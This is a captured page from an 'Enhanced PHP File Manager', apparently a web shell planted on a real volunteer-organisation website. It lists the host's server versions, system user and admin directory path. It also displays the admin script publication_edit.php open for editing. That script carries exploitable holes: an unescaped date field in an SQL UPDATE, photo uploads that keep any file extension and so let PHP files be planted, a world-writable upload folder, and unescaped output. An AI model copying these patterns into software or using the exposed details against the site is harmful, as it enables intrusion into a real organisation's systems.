Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

nginx/1.28.0

System:

Linux 6.8.0-90-generic

PHP Version:

8.4.15

User:

alqudsvolunteers

Directory:

/home/avi/htdocs/www.alqudsvolunteers.id/admin1

Free Space:

81.69 GB

🔧 Quick Actions

✏️ Editing: publication_edit.php

<?php
include 'config.php';

$id = intval($_GET['id']);

// Query untuk mengambil data publication
$publication_query = "SELECT * FROM publication WHERE id = $id";
$publication_result = mysqli_query($conn, $publication_query);
$publication = mysqli_fetch_assoc($publication_result);

// Query untuk mengambil groups
$groups_query = "SELECT * FROM publication_group";
$groups_result = mysqli_query($conn, $groups_query);

// Query untuk mengambil photos
$photos_query = "SELECT * FROM publication_photo WHERE id_publication = $id ORDER BY urutan";
$photos_result = mysqli_query($conn, $photos_query);

// Query untuk mengambil links
$links_query = "SELECT * FROM publication_link WHERE id_publication = $id";
$links_result = mysqli_query($conn, $links_query);

// Proses update publication
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $id_group = intval($_POST['id_group']);
    $title = mysqli_real_escape_string($conn, $_POST['title']);
    $isi = mysqli_real_escape_string($conn, $_POST['isi']);
    $published_at = $_POST['published_at'];
    
    $query = "UPDATE publication SET 
              id_group = $id_group, 
              title = '$title', 
              isi = '$isi', 
              published_at = '$published_at' 
              WHERE id = $id";
    
    if (mysqli_query($conn, $query)) {
        $success = "Publication berhasil diperbarui!";
        
        // Upload foto baru jika ada
        if (!empty($_FILES['photos']['name'][0])) {
            $target_dir = "../uploads/publications/";
            if (!file_exists($target_dir)) {
                mkdir($target_dir, 0777, true);
            }
            
            // Hapus foto lama
            $delete_photos_query = "DELETE FROM publication_photo WHERE id_publication = $id";
            mysqli_query($conn, $delete_photos_query);
            
            foreach ($_FILES['photos']['name'] as $key => $name) {
                if ($_FILES['photos']['error'][$key] === UPLOAD_ERR_OK) {
                    $file_extension = pathinfo($name, PATHINFO_EXTENSION);
                    $filename = 'publication_' . $id . '_' . $key . '.' . $file_extension;
                    $target_file = $target_dir . $filename;
                    
                    if (move_uploaded_file($_FILES['photos']['tmp_name'][$key], $target_file)) {
                        $urutan = $key + 1;
                        $photo_query = "INSERT INTO publication_photo (id_publication, foto, urutan) 
                                       VALUES ($id, '$filename', $urutan)";
                        mysqli_query($conn, $photo_query);
                    }
                }
            }
        }
        
        // Update links
        $delete_links_query = "DELETE FROM publication_link WHERE id_publication = $id";
        mysqli_query($conn, $delete_links_query);
        
        if (!empty($_POST['links'])) {
            foreach ($_POST['links'] as $link) {
                if (!empty(trim($link))) {
                    $link = mysqli_real_escape_string($conn, $link);
                    $link_query = "INSERT INTO publication_link (id_publication, link_sumber) 
                                  VALUES ($id, '$link')";
                    mysqli_query($conn, $link_query);
                }
            }
        }
        
        header("Location: publication.php");
        exit();
    } else {
        $error = "Terjadi kesalahan: " . mysqli_error($conn);
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Edit Publication - DonasiKita</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
</head>
<body class="bg-gray-100 flex">
    <?php include 'sidebar.php'; ?>
    
    <div class="flex-1 p-8">
        <h1 class="text-2xl font-bold text-gray-800 mb-6">Edit Publication</h1>
        
        <?php if (isset($success)): ?>
            <div class="bg-green-100 border border-green-400 text-green-700 px-4 py-3 rounded mb-4">
                <?php echo $success; ?>
            </div>
        <?php endif; ?>
        
        <?php if (isset($error)): ?>
            <div class="bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded mb-4">
                <?php echo $error; ?>
            </div>
        <?php endif; ?>
        
        <div class="bg-white p-6 rounded-lg shadow">
            <form method="POST" action="" enctype="multipart/form-data">
                <div class="mb-4">
                    <label for="id_group" class="block text-gray-700 text-sm font-bold mb-2">Group</label>
                    <select id="id_group" name="id_group" required 
                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500">
                        <option value="">Pilih Group</option>
                        <?php 
                        mysqli_data_seek($groups_result, 0);
                        while ($group = mysqli_fetch_assoc($groups_result)): 
                        ?>
                            <option value="<?php echo $group['id']; ?>" <?php echo $group['id'] == $publication['id_group'] ? 'selected' : ''; ?>>
                                <?php echo htmlspecialchars($group['name_group']); ?>
                            </option>
                        <?php endwhile; ?>
                    </select>
                </div>
                
                <div class="mb-4">
                    <label for="title" class="block text-gray-700 text-sm font-bold mb-2">Judul</label>
                    <input type="text" id="title" name="title" required 
                        value="<?php echo htmlspecialchars($publication['title']); ?>"
                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500">
                </div>
                
                <div class="mb-4">
                    <label for="isi" class="block text-gray-700 text-sm font-bold mb-2">Isi</label>
                    <textarea id="isi" name="isi" rows="5" required 
                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"><?php echo htmlspecialchars($publication['isi']); ?></textarea>
                </div>
                
                <div class="mb-4">
                    <label for="published_at" class="block text-gray-700 text-sm font-bold mb-2">Tanggal Publikasi</label>
                    <input type="date" id="published_at" name="published_at" required 
                        value="<?php echo $publication['published_at']; ?>"
                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500">
                </div>
                
                <div class="mb-4">
                    <label class="block text-gray-700 text-sm font-bold mb-2">Foto Saat Ini</label>
                    <div class="grid grid-cols-3 gap-4">
                        <?php while ($photo = mysqli_fetch_assoc($photos_result)): ?>
                            <div class="relative">
                                <img src="../uploads/publications/<?php echo $photo['foto']; ?>" alt="Photo" class="h-32 w-full object-cover rounded">
                                <span class="absolute top-2 right-2 bg-white rounded-full px-2 py-1 text-xs font-bold"><?php echo $photo['urutan']; ?></span>
                            </div>
                        <?php endwhile; ?>
                    </div>
                </div>
                
                <div class="mb-4">
                    <label for="photos" class="block text-gray-700 text-sm font-bold mb-2">Ganti Foto</label>
                    <input type="file" id="photos" name="photos[]" multiple 
                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500">
                    <p class="text-gray-600 text-xs mt-1">Format: JPG, PNG, GIF. Maksimal 2MB per file.</p>
                </div>
                
                <div class="mb-4" id="links-container">
                    <label class="block text-gray-700 text-sm font-bold mb-2">Link Sumber</label>
                    <?php 
                    $link_count = 0;
                    while ($link = mysqli_fetch_assoc($links_result)): 
                        $link_count++;
                    ?>
                        <div class="link-input flex mb-2">
                            <input type="url" name="links[]" value="<?php echo htmlspecialchars($link['link_sumber']); ?>"
                                class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500" 
                                placeholder="https://example.com">
                            <button type="button" class="remove-link ml-2 px-3 py-2 bg-red-500 text-white rounded-md">Hapus</button>
                        </div>
                    <?php endwhile; ?>
                    
                    <?php if ($link_count == 0): ?>
                        <div class="link-input flex mb-2">
                            <input type="url" name="links[]" 
                                class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500" 
                                placeholder="https://example.com">
                            <button type="button" class="remove-link ml-2 px-3 py-2 bg-red-500 text-white rounded-md">Hapus</button>
                        </div>
                    <?php endif; ?>
                    
                    <button type="button" id="add-link" class="px-3 py-2 bg-gray-200 text-gray-700 rounded-md hover:bg-gray-300">
                        <i class="fas fa-plus mr-1"></i>Tambah Link
                    </button>
                </div>
                
                <button type="submit" class="bg-blue-500 text-white font-bold py-2 px-4 rounded-md hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-500">
                    Perbarui Publication
                </button>
                <a href="publication.php" class="ml-2 bg-gray-300 text-gray-700 font-bold py-2 px-4 rounded-md hover:bg-gray-400">
                    Batal
                </a>
            </form>
        </div>
    </div>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: publication_edit.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation